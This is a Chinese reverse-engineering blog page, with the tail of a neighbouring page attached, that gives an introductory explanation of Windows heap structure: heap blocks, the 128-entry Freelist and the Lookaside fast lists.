<ol class="nav"><li class="nav-item nav-level-3"><a class="nav-link" href="#Windows-XP%EF%BC%8C32%E4%BD%8D"><span class="nav-text">Windows XP,32位</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#run"><span class="nav-text">run</span></a>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="main-content-footer">
<footer class="footer mt-5 py-5 h-auto text-base text-third-text-color relative border-t-2 border-t-border-color">
<div class="info-container py-3 text-center">
<div class="text-center">
©
<span>2022</span>
-
2025 <i class="fa-solid fa-heart fa-beat" style="--fa-animation-duration: 0.5s; color: #f54545"></i> <a href="/">xiaoeryu</a>
<p class="post-count space-x-0.5">
<span>
共撰写了 112 篇文章
</span>
</p>
</div>
<script data-swup-reload-script src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<div class="relative text-center lg:absolute lg:right-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-right">
<span id="busuanzi_container_site_uv" class="lg:!block">
<span class="text-sm">访问人数</span>
<span id="busuanzi_value_site_uv"></span>
</span>
<span id="busuanzi_container_site_pv" class="lg:!block">
<span class="text-sm">总访问量</span>
<span id="busuanzi_value_site_pv"></span>
</span>
</div>
<div class="relative text-center lg:absolute lg:left-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-left">
<span class="lg:block text-sm">由 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg class="relative top-[2px] inline-block align-baseline" version="1.1" id="圖層_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1rem" height="1rem" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve"><path fill="#0E83CD" d="M256.4,25.8l-200,115.5L56,371.5l199.6,114.7l200-115.5l0.4-230.2L256.4,25.8z M349,354.6l-18.4,10.7l-18.6-11V275H200v79.6l-18.4,10.7l-18.6-11v-197l18.5-10.6l18.5,10.8V237h112v-79.6l18.5-10.6l18.5,10.8V354.6z"/></svg><a target="_blank" class="text-base" href="https://hexo.io">Hexo</a> 驱动</span>
<span class="text-sm lg:block">主题 <a class="text-base" target="_blank" href="https://github.com/EvanNotFound/hexo-theme-redefine">Redefine v2.8.2</a></span>
</div>
<div>
博客已运行 <span class="odometer" id="runtime_days" ></span> 天 <span class="odometer" id="runtime_hours"></span> 小时 <span class="odometer" id="runtime_minutes"></span> 分钟 <span class="odometer" id="runtime_seconds"></span> 秒
</div>
<script data-swup-reload-script>
try {
function odometer_init() {
const elements = document.querySelectorAll('.odometer');
elements.forEach(el => {
new Odometer({
el,
format: '( ddd).dd',
duration: 200
});
});
}
odometer_init();
} catch (error) {}
</script>
</div>
</footer>
</div>
</div>
<div class="post-tools">
<div class="post-tools-container">
<ul class="article-tools-list">
<!-- TOC aside toggle -->
<li class="right-bottom-tools page-aside-toggle">
<i class="fa-regular fa-outdent"></i>
</li>
<!-- go comment -->
<li class="go-comment">
<i class="fa-regular fa-comments"></i>
</li>
</ul>
</div>
</div>
<div class="right-side-tools-container">
<div class="side-tools-container">
<ul class="hidden-tools-list">
<li class="right-bottom-tools tool-font-adjust-plus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-plus"></i>
</li>
<li class="right-bottom-tools tool-font-adjust-minus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-minus"></i>
</li>
<li class="right-bottom-tools tool-dark-light-toggle flex justify-center items-center">
<i class="fa-regular fa-moon"></i>
</li>
<!-- rss -->
<li class="right-bottom-tools tool-scroll-to-bottom flex justify-center items-center">
<i class="fa-regular fa-arrow-down"></i>
</li>
</ul>
<ul class="visible-tools-list">
<li class="right-bottom-tools toggle-tools-list flex justify-center items-center">
<i class="fa-regular fa-cog fa-spin"></i>
</li>
<li class="right-bottom-tools tool-scroll-to-top flex justify-center items-center">
<i class="arrow-up fas fa-arrow-up"></i>
<span class="percent"></span>
</li>
</ul>
</div>
</div>
<div class="image-viewer-container">
<img src="">
</div>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-input-field-pre">
<i class="fa-solid fa-keyboard"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocorrect="off" autocapitalize="off" placeholder="站内搜索您需要的内容..." spellcheck="false" type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa-solid fa-times"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa-solid fa-spinner fa-spin-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</main>
<script src="/js/build/libs/Swup.min.js"></script>
<script src="/js/build/libs/SwupSlideTheme.min.js"></script>
<script src="/js/build/libs/SwupScriptsPlugin.min.js"></script>
<script src="/js/build/libs/SwupProgressPlugin.min.js"></script>
<script src="/js/build/libs/SwupScrollPlugin.min.js"></script>
<script src="/js/build/libs/SwupPreloadPlugin.min.js"></script>
<script>
const swup = new Swup({
plugins: [
new SwupScriptsPlugin({
optin: true,
}),
new SwupProgressPlugin(),
new SwupScrollPlugin({
offset: 80,
}),
new SwupSlideTheme({
mainElement: ".main-content-body",
}),
new SwupPreloadPlugin(),
],
containers: ["#swup"],
});
</script>
<script src="/js/build/tools/imageViewer.js" type="module"></script>
<script src="/js/build/utils.js" type="module"></script>
<script src="/js/build/main.js" type="module"></script>
<script src="/js/build/layouts/navbarShrink.js" type="module"></script>
<script src="/js/build/tools/scrollTopBottom.js" type="module"></script>
<script src="/js/build/tools/lightDarkSwitch.js" type="module"></script>
<script src="/js/build/layouts/categoryList.js" type="module"></script>
<script src="/js/build/tools/localSearch.js" type="module"></script>
<script src="/js/build/tools/codeBlock.js" type="module"></script>
<script src="/js/build/layouts/lazyload.js" type="module"></script>
<script src="/js/build/tools/runtime.js"></script>
<script src="/js/build/libs/odometer.min.js"></script>
<link rel="stylesheet" href="/assets/odometer-theme-minimal.css">
<script src="/js/build/libs/Typed.min.js"></script>
<script src="/js/build/plugins/typed.js" type="module"></script>
<script src="/js/build/libs/anime.min.js"></script>
<script src="/js/build/tools/tocToggle.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/layouts/toc.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/plugins/tabs.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/libs/moment-with-locales.min.js" data-swup-reload-script=""></script>
<script src="/js/build/layouts/essays.js" type="module" data-swup-reload-script=""></script>
</body>
</html> | Zayn-Liu/hexo | 2021/05/20/winDbg安装mona/index.html | HTML | unknown | 30,151 |
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="keywords" content="Hexo Theme Redefine">
<meta name="author" content="xiaoeryu">
<!-- preconnect -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<!--- Seo Part-->
<link rel="canonical" href="https://xiaoeeyu.github.io/2021/05/20/堆结构/"/>
<meta name="robots" content="index,follow">
<meta name="googlebot" content="index,follow">
<meta name="revisit-after" content="1 days">
<meta name="description" content="堆结构堆与栈的区别: 栈空间是在程序设计时已经规定好怎么使用,使用多少内存空间的。 堆是一种在程序运行时动态分配的内存。 堆是需要程序员自己通过malloc、new等函数自己申请的,根据程序的运行环境和申请的大小也有可能申请失败。 一般我们通过一个堆指针来使用所申请到的堆内存,进行读、写、释放等操作。 使用完成后需要把堆指针传给释放函数(free、delete)来回收这片内存,否则会造成内存泄漏">
<meta property="og:type" content="article">
<meta property="og:title" content="堆结构">
<meta property="og:url" content="https://xiaoeeyu.github.io/2021/05/20/%E5%A0%86%E7%BB%93%E6%9E%84/index.html">
<meta property="og:site_name" content="xiaoeryu">
<meta property="og:description" content="堆结构堆与栈的区别: 栈空间是在程序设计时已经规定好怎么使用,使用多少内存空间的。 堆是一种在程序运行时动态分配的内存。 堆是需要程序员自己通过malloc、new等函数自己申请的,根据程序的运行环境和申请的大小也有可能申请失败。 一般我们通过一个堆指针来使用所申请到的堆内存,进行读、写、释放等操作。 使用完成后需要把堆指针传给释放函数(free、delete)来回收这片内存,否则会造成内存泄漏">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/%E5%A0%86%E7%BB%93%E6%9E%84/image-20200920172506034.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/%E5%A0%86%E7%BB%93%E6%9E%84/image-20200920214021750.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/20/%E5%A0%86%E7%BB%93%E6%9E%84/image-20200920220236046.png">
<meta property="article:published_time" content="2021-05-20T01:18:26.000Z">
<meta property="article:modified_time" content="2023-11-17T11:38:32.380Z">
<meta property="article:author" content="xiaoeryu">
<meta property="article:tag" content="堆">
<meta property="article:tag" content="数据结构">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xiaoeeyu.github.io/2021/05/20/%E5%A0%86%E7%BB%93%E6%9E%84/image-20200920172506034.png">
<!--- Icon Part-->
<link rel="icon" type="image/png" href="/images/rabete.jpg" sizes="192x192">
<link rel="apple-touch-icon" sizes="180x180" href="/images/rabete.jpg">
<meta name="theme-color" content="#A31F34">
<link rel="shortcut icon" href="/images/rabete.jpg">
<!--- Page Info-->
<title>
堆结构 | xiaoeryu
</title>
<link rel="stylesheet" href="/fonts/Chillax/chillax.css">
<!--- Inject Part-->
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/build/tailwind.css">
<link rel="stylesheet" href="/fonts/GeistMono/geist-mono.css">
<link rel="stylesheet" href="/fonts/Geist/geist.css">
<!--- Font Part-->
<script id="hexo-configurations">
window.config = {"hostname":"xiaoeeyu.github.io","root":"/","language":"zh-CN","path":"search.xml"};
window.theme = {"articles":{"style":{"font_size":"16px","line_height":1.5,"image_border_radius":"14px","image_alignment":"center","image_caption":false,"link_icon":true,"delete_mask":false,"title_alignment":"left","headings_top_spacing":{"h1":"3.2rem","h2":"2.4rem","h3":"1.9rem","h4":"1.6rem","h5":"1.4rem","h6":"1.3rem"}},"word_count":{"enable":true,"count":true,"min2read":true},"author_label":{"enable":true,"auto":false,"list":[]},"code_block":{"copy":true,"style":"mac","highlight_theme":{"light":"github","dark":"vs2015"},"font":{"enable":false,"family":null,"url":null}},"toc":{"enable":true,"max_depth":4,"number":false,"expand":true,"init_open":true},"copyright":{"enable":true,"default":"cc_by_nc_sa"},"lazyload":true,"pangu_js":false,"recommendation":{"enable":false,"title":"推荐阅读","limit":3,"mobile_limit":2,"placeholder":"/images/ball-0101.jpg","skip_dirs":[]}},"colors":{"primary":"#A31F34","secondary":null,"default_mode":"light"},"global":{"fonts":{"chinese":{"enable":false,"family":null,"url":null},"english":{"enable":false,"family":null,"url":null},"title":{"enable":false,"family":null,"url":null}},"content_max_width":"1000px","sidebar_width":"210px","hover":{"shadow":true,"scale":false},"scroll_progress":{"bar":false,"percentage":true},"website_counter":{"url":"https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js","enable":true,"site_pv":true,"site_uv":true,"post_pv":true},"single_page":true,"preloader":{"enable":false,"custom_message":null},"open_graph":true,"google_analytics":{"enable":false,"id":null}},"home_banner":{"enable":true,"style":"fixed","image":{"light":"/images/wallhaven-jxl31y.png","dark":"/images/wallhaven-o5762l.png"},"title":"XIAOERYU","subtitle":{"text":["明心见性,拨云见日","Don't wait, to create"],"hitokoto":{"enable":false,"show_author":false,"api":"https://v1.hitokoto.cn"},"typing_speed":100,"backing_speed":80,"starting_delay":500,"backing_delay":1500,"loop":true,"smart_backspace":true},"text_color":{"light":"#fff","dark":"#d1d1b6"},"text_style":{"title_size":"2.8rem","subtitle_size":"1.5rem","line_height":1.2},"custom_font":{"enable":false,"family":null,"url":null},"social_links":{"enable":true,"style":"default","links":{"github":"https://github.com/xiaoeeyu","instagram":null,"zhihu":null,"twitter":null,"email":"xiaoeryu@163.com"},"qrs":{"weixin":null}}},"plugins":{"feed":{"enable":false},"aplayer":{"enable":false,"type":"fixed","audios":[{"name":null,"artist":null,"url":null,"cover":null,"lrc":null}]},"mermaid":{"enable":false,"version":"9.3.0"}},"version":"2.8.2","navbar":{"auto_hide":false,"color":{"left":"#f78736","right":"#367df7","transparency":35},"width":{"home":"1200px","pages":"1000px"},"links":{"Home":{"path":"/","icon":"fa-regular fa-house"},"Archives":{"path":"/archives","icon":"fa-regular fa-archive"}},"search":{"enable":true,"preload":true}},"page_templates":{"friends_column":2,"tags_style":"blur"},"home":{"sidebar":{"enable":true,"position":"left","first_item":"menu","announcement":null,"show_on_mobile":true,"links":null},"article_date_format":"auto","excerpt_length":200,"categories":{"enable":true,"limit":3},"tags":{"enable":true,"limit":3}},"footerStart":"2022/8/17 11:45:14"};
window.lang_ago = {"second":"%s 秒前","minute":"%s 分钟前","hour":"%s 小时前","day":"%s 天前","week":"%s 周前","month":"%s 个月前","year":"%s 年前"};
window.data = {"masonry":false};
</script>
<!--- Fontawesome Part-->
<link rel="stylesheet" href="/fontawesome/fontawesome.min.css">
<link rel="stylesheet" href="/fontawesome/brands.min.css">
<link rel="stylesheet" href="/fontawesome/solid.min.css">
<link rel="stylesheet" href="/fontawesome/regular.min.css">
<meta name="generator" content="Hexo 6.3.0">
<style>.github-emoji { position: relative; display: inline-block; width: 1.2em; min-height: 1.2em; overflow: hidden; vertical-align: top; color: transparent; } .github-emoji > span { position: relative; z-index: 10; } .github-emoji img, .github-emoji .fancybox { margin: 0 !important; padding: 0 !important; border: none !important; outline: none !important; text-decoration: none !important; user-select: none !important; cursor: auto !important; } .github-emoji img { height: 1.2em !important; width: 1.2em !important; position: absolute !important; left: 50% !important; top: 50% !important; transform: translate(-50%, -50%) !important; user-select: none !important; cursor: auto !important; } .github-emoji-fallback { color: inherit; } .github-emoji-fallback img { opacity: 0 !important; }</style>
</head>
<body>
<div class="progress-bar-container">
<span class="pjax-progress-bar"></span>
<!-- <span class="swup-progress-icon">-->
<!-- <i class="fa-solid fa-circle-notch fa-spin"></i>-->
<!-- </span>-->
</div>
<main class="page-container" id="swup">
<div class="main-content-container flex flex-col justify-between min-h-dvh">
<div class="main-content-header">
<header class="navbar-container px-6 md:px-12">
<div class="navbar-content transition-navbar ">
<div class="left">
<a class="logo-image h-8 w-8 sm:w-10 sm:h-10 mr-3" href="/">
<img src="/images/rabete.jpg" class="w-full h-full rounded-sm">
</a>
<a class="logo-title" href="/">
xiaoeryu
</a>
</div>
<div class="right">
<!-- PC -->
<div class="desktop">
<ul class="navbar-list">
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/"
>
<i class="fa-regular fa-house fa-fw"></i>
首页
</a>
<!-- Submenu -->
</li>
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/archives"
>
<i class="fa-regular fa-archive fa-fw"></i>
归档
</a>
<!-- Submenu -->
</li>
<li class="navbar-item search search-popup-trigger">
<i class="fa-solid fa-magnifying-glass"></i>
</li>
</ul>
</div>
<!-- Mobile -->
<div class="mobile">
<div class="icon-item search search-popup-trigger"><i class="fa-solid fa-magnifying-glass"></i>
</div>
<div class="icon-item navbar-bar">
<div class="navbar-bar-middle"></div>
</div>
</div>
</div>
</div>
<!-- Mobile sheet -->
<div class="navbar-drawer h-dvh w-full absolute top-0 left-0 bg-background-color flex flex-col justify-between">
<ul class="drawer-navbar-list flex flex-col px-4 justify-center items-start">
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/"
>
<span>
首页
</span>
<i class="fa-regular fa-house fa-sm fa-fw"></i>
</a>
</li>
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/archives"
>
<span>
归档
</span>
<i class="fa-regular fa-archive fa-sm fa-fw"></i>
</a>
</li>
</ul>
<div class="statistics flex justify-around my-2.5">
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/tags">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">92</div>
<div class="label text-third-text-color text-sm">标签</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/categories">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">14</div>
<div class="label text-third-text-color text-sm">分类</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/archives">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">112</div>
<div class="label text-third-text-color text-sm">文章</div>
</a>
</div>
</div>
<div class="window-mask"></div>
</header>
</div>
<div class="main-content-body transition-fade-up">
<div class="main-content">
<div class="post-page-container flex relative justify-between box-border w-full h-full">
<div class="article-content-container">
<div class="article-title relative w-full">
<div class="w-full flex items-center pt-6 justify-start">
<h1 class="article-title-regular text-second-text-color tracking-tight text-4xl md:text-6xl font-semibold px-2 sm:px-6 md:px-8 py-3">堆结构</h1>
</div>
</div>
<div class="article-header flex flex-row gap-2 items-center px-2 sm:px-6 md:px-8">
<div class="avatar w-[46px] h-[46px] flex-shrink-0 rounded-medium border border-border-color p-[1px]">
<img src="/images/rabete.jpg">
</div>
<div class="info flex flex-col justify-between">
<div class="author flex items-center">
<span class="name text-default-text-color text-lg font-semibold">xiaoeryu</span>
<span class="author-label ml-1.5 text-xs px-2 py-0.5 rounded-small text-third-text-color border border-shadow-color-1">Lv5</span>
</div>
<div class="meta-info">
<div class="article-meta-info">
<span class="article-date article-meta-item">
<i class="fa-regular fa-pen-fancy"></i>
<span class="desktop">2021-05-20 09:18:26</span>
<span class="mobile">2021-05-20 09:18:26</span>
<span class="hover-info">创建</span>
</span>
<span class="article-date article-meta-item">
<i class="fa-regular fa-wrench"></i>
<span class="desktop">2023-11-17 19:38:32</span>
<span class="mobile">2023-11-17 19:38:32</span>
<span class="hover-info">更新</span>
</span>
<span class="article-categories article-meta-item">
<i class="fa-regular fa-folders"></i>
<ul>
<li>
<a href="/categories/Win%E9%80%86%E5%90%91/">Win逆向</a>
</li>
</ul>
</span>
<span class="article-tags article-meta-item">
<i class="fa-regular fa-tags"></i>
<ul>
<li>
<a href="/tags/%E5%A0%86/">堆</a>
</li>
<li>
| <a href="/tags/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/">数据结构</a>
</li>
</ul>
</span>
<span class="article-pv article-meta-item">
<i class="fa-regular fa-eye"></i> <span id="busuanzi_value_page_pv"></span>
</span>
</div>
</div>
</div>
</div>
<div class="article-content markdown-body px-2 sm:px-6 md:px-8 pb-8">
<h1 id="堆结构"><a href="#堆结构" class="headerlink" title="堆结构"></a>堆结构</h1><h4 id="堆与栈的区别:"><a href="#堆与栈的区别:" class="headerlink" title="堆与栈的区别:"></a>堆与栈的区别:</h4><hr>
<ol>
<li>栈空间是在程序设计时已经规定好怎么使用,使用多少内存空间的。</li>
<li>堆是一种在程序运行时动态分配的内存。</li>
<li>堆是需要程序员自己通过malloc、new等函数自己申请的,根据程序的运行环境和申请的大小也有可能申请失败。</li>
<li>一般我们通过一个堆指针来使用所申请到的堆内存,进行读、写、释放等操作。</li>
<li>使用完成后需要把堆指针传给释放函数(free、delete)来回收这片内存,否则会造成内存泄漏。</li>
</ol>
<h4 id="堆的数据结构与管理策略"><a href="#堆的数据结构与管理策略" class="headerlink" title="堆的数据结构与管理策略"></a>堆的数据结构与管理策略</h4><span id="more"></span>
<hr>
<ul>
<li><p>堆块:堆区的内存按大小不同组织成堆块,以堆块为单位进行标识。一个堆块包括两个部分:块首和块身。块首是一个堆块头部的几个字节,用来标识这个堆块自身的信息,例如:大小、是否空闲;块身紧跟在块首后面,是分配给用户使用的数据区。</p>
</li>
<li><p><strong>堆管理系统所返回的指针一般指向块身的起始位置</strong></p>
</li>
<li><p>堆表:堆表一般位于堆区的起始位置,用于索引堆区中所有堆块的重要信息,堆表的数据结构决定了整个堆区的组织方式,是快速检索空闲块、保证堆分配效率的关键。现代操作系统的堆表往往不止一种数据结构。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/%E5%A0%86%E7%BB%93%E6%9E%84/image-20200920172506034.png" class="" title="image-20200920172506034"></li>
</ul>
<center> 堆的内存组织 </center>
<ul>
<li>在Windows中,占用态的堆块被使用他的程序索引,而堆表只索引所有空闲态的堆块。其中,最重要的堆表有两种:空闲双向链表Freelist(简称 空表),和快速单向链表Lookaside(简称 快表)。</li>
</ul>
<h5 id="1-空表"><a href="#1-空表" class="headerlink" title="1. 空表"></a>1. 空表</h5><p> 空闲堆块的块首中包含一对重要的指针,这对指针用于将空闲堆块组织成双向链表。按照堆块的大小不同,空表总共被分成128条。</p>
<p> 堆区一开始的堆表区中有一个128项的指针数组,被称做空表索引。该数组的每一项包括两个指针,用于标识一条空表。</p>
<p> 空表索引的第二项(free[1])标识了堆中所有大小为8字节的空闲堆块,之后每个索引项递增8个字节,<em><em>空闲堆块的大小 = 索引项(ID)</em> 8(字节)</em>*</p>
<p> 把空闲堆块按照大小链入不同的空表,可以方便堆管理系统高校检索指定大小的空闲堆块。空表索引的第一项比较特殊,这条双向链表链入了所有大于等于1024字节的堆块(小于512KB)。这些堆块按照大小依次排列。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/%E5%A0%86%E7%BB%93%E6%9E%84/image-20200920214021750.png" class="" title="image-20200920214021750">
<center>空闲双向链表(Freelist)</center>
<h4 id="2-快表"><a href="#2-快表" class="headerlink" title="2. 快表"></a>2. 快表</h4><p> 快表是Windows为了加速堆块分配而采用的一种堆表。这类单向链表从来不会发生堆块合并(其中的空闲块块首被设置为占用态,用来防止对快合并)。</p>
<p> 快表也有128条,组织结构与空表类似,只是其中的对快按照单链表组织。快表总是被初始化为空,而且每条快表最多只有4个节点,故很快就会被填满。</p>
<p> 堆中的操作可以分为堆块分配、堆块释放和堆块合并三种。其中“分配”和“释放”是在程序中提交申请和执行的,而堆块合并则是由堆块管理系统自动完成的。</p>
<p> <img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/%E5%A0%86%E7%BB%93%E6%9E%84/image-20200920220236046.png" class="" title="image-20200920220236046"></p>
<center>快速单向链表(Lookaside)</center>
</div>
<div class="post-copyright-info w-full my-8 px-2 sm:px-6 md:px-8">
<div class="article-copyright-info-container">
<ul>
<li><strong>标题:</strong> 堆结构</li>
<li><strong>作者:</strong> xiaoeryu</li>
<li><strong>创建于
:</strong> 2021-05-20 09:18:26</li>
<li>
<strong>更新于
:</strong> 2023-11-17 19:38:32
</li>
<li>
<strong>链接:</strong> https://github.com/xiaoeryu/2021/05/20/堆结构/
</li>
<li>
<strong>
版权声明:
</strong>
本文章采用 <a class="license" target="_blank" rel="noopener" href="https://creativecommons.org/licenses/by-nc-sa/4.0">CC BY-NC-SA 4.0</a> 进行许可。
</li>
</ul>
</div>
</div>
<ul class="post-tags-box text-lg mt-1.5 flex-wrap justify-center flex md:hidden">
<li class="tag-item mx-0.5">
<a href="/tags/%E5%A0%86/">#堆</a>
</li>
<li class="tag-item mx-0.5">
<a href="/tags/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/">#数据结构</a>
</li>
</ul>
<div class="article-nav my-8 flex justify-between items-center px-2 sm:px-6 md:px-8">
<div class="article-prev border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="prev" rel="prev" href="/2021/05/20/CVE-2009-0927-PDF%E4%B8%AD%E7%9A%84JS/">
<span class="left arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-left"></i>
</span>
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">CVE-2009-0927:PDF中的JS</span>
<span class="post-nav-item">上一篇</span>
</span>
</a>
</div>
<div class="article-next border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="next" rel="next" href="/2021/05/19/mm%E6%9C%A8%E9%A9%AC%E5%88%86%E6%9E%90/">
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">mm木马分析</span>
<span class="post-nav-item">下一篇</span>
</span>
<span class="right arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-right"></i>
</span>
</a>
</div>
</div>
<div class="comment-container px-2 sm:px-6 md:px-8 pb-8">
<div class="comments-container mt-10 w-full ">
<div id="comment-anchor" class="w-full h-2.5"></div>
<div class="comment-area-title w-full my-1.5 md:my-2.5 text-xl md:text-3xl font-bold">
评论
</div>
</div>
</div>
</div>
<div class="toc-content-container">
<div class="post-toc-wrap">
<div class="post-toc">
<div class="toc-title">目录</div>
<div class="page-title">堆结构</div>
<ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#%E5%A0%86%E7%BB%93%E6%9E%84"><span class="nav-text">堆结构</span></a><ol class="nav-child"><li class="nav-item nav-level-4"><a class="nav-link" href="#%E5%A0%86%E4%B8%8E%E6%A0%88%E7%9A%84%E5%8C%BA%E5%88%AB%EF%BC%9A"><span class="nav-text">堆与栈的区别:</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#%E5%A0%86%E7%9A%84%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E4%B8%8E%E7%AE%A1%E7%90%86%E7%AD%96%E7%95%A5"><span class="nav-text">堆的数据结构与管理策略</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#2-%E5%BF%AB%E8%A1%A8"><span class="nav-text">2. 快表</span></a></li></ol></li></ol></li></ol></li></ol>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="main-content-footer">
<footer class="footer mt-5 py-5 h-auto text-base text-third-text-color relative border-t-2 border-t-border-color">
<div class="info-container py-3 text-center">
<div class="text-center">
©
<span>2022</span>
-
2025 <i class="fa-solid fa-heart fa-beat" style="--fa-animation-duration: 0.5s; color: #f54545"></i> <a href="/">xiaoeryu</a>
<p class="post-count space-x-0.5">
<span>
共撰写了 112 篇文章
</span>
</p>
</div>
<script data-swup-reload-script src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<div class="relative text-center lg:absolute lg:right-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-right">
<span id="busuanzi_container_site_uv" class="lg:!block">
<span class="text-sm">访问人数</span>
<span id="busuanzi_value_site_uv"></span>
</span>
<span id="busuanzi_container_site_pv" class="lg:!block">
<span class="text-sm">总访问量</span>
<span id="busuanzi_value_site_pv"></span>
</span>
</div>
<div class="relative text-center lg:absolute lg:left-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-left">
<span class="lg:block text-sm">由 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg class="relative top-[2px] inline-block align-baseline" version="1.1" id="圖層_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1rem" height="1rem" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve"><path fill="#0E83CD" d="M256.4,25.8l-200,115.5L56,371.5l199.6,114.7l200-115.5l0.4-230.2L256.4,25.8z M349,354.6l-18.4,10.7l-18.6-11V275H200v79.6l-18.4,10.7l-18.6-11v-197l18.5-10.6l18.5,10.8V237h112v-79.6l18.5-10.6l18.5,10.8V354.6z"/></svg><a target="_blank" class="text-base" href="https://hexo.io">Hexo</a> 驱动</span>
<span class="text-sm lg:block">主题 <a class="text-base" target="_blank" href="https://github.com/EvanNotFound/hexo-theme-redefine">Redefine v2.8.2</a></span>
</div>
<div>
博客已运行 <span class="odometer" id="runtime_days" ></span> 天 <span class="odometer" id="runtime_hours"></span> 小时 <span class="odometer" id="runtime_minutes"></span> 分钟 <span class="odometer" id="runtime_seconds"></span> 秒
</div>
<script data-swup-reload-script>
try {
function odometer_init() {
const elements = document.querySelectorAll('.odometer');
elements.forEach(el => {
new Odometer({
el,
format: '( ddd).dd',
duration: 200
});
});
}
odometer_init();
} catch (error) {}
</script>
</div>
</footer>
</div>
</div>
<div class="post-tools">
<div class="post-tools-container">
<ul class="article-tools-list">
<!-- TOC aside toggle -->
<li class="right-bottom-tools page-aside-toggle">
<i class="fa-regular fa-outdent"></i>
</li>
<!-- go comment -->
<li class="go-comment">
<i class="fa-regular fa-comments"></i>
</li>
</ul>
</div>
</div>
<div class="right-side-tools-container">
<div class="side-tools-container">
<ul class="hidden-tools-list">
<li class="right-bottom-tools tool-font-adjust-plus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-plus"></i>
</li>
<li class="right-bottom-tools tool-font-adjust-minus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-minus"></i>
</li>
<li class="right-bottom-tools tool-dark-light-toggle flex justify-center items-center">
<i class="fa-regular fa-moon"></i>
</li>
<!-- rss -->
<li class="right-bottom-tools tool-scroll-to-bottom flex justify-center items-center">
<i class="fa-regular fa-arrow-down"></i>
</li>
</ul>
<ul class="visible-tools-list">
<li class="right-bottom-tools toggle-tools-list flex justify-center items-center">
<i class="fa-regular fa-cog fa-spin"></i>
</li>
<li class="right-bottom-tools tool-scroll-to-top flex justify-center items-center">
<i class="arrow-up fas fa-arrow-up"></i>
<span class="percent"></span>
</li>
</ul>
</div>
</div>
<div class="image-viewer-container">
<img src="">
</div>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
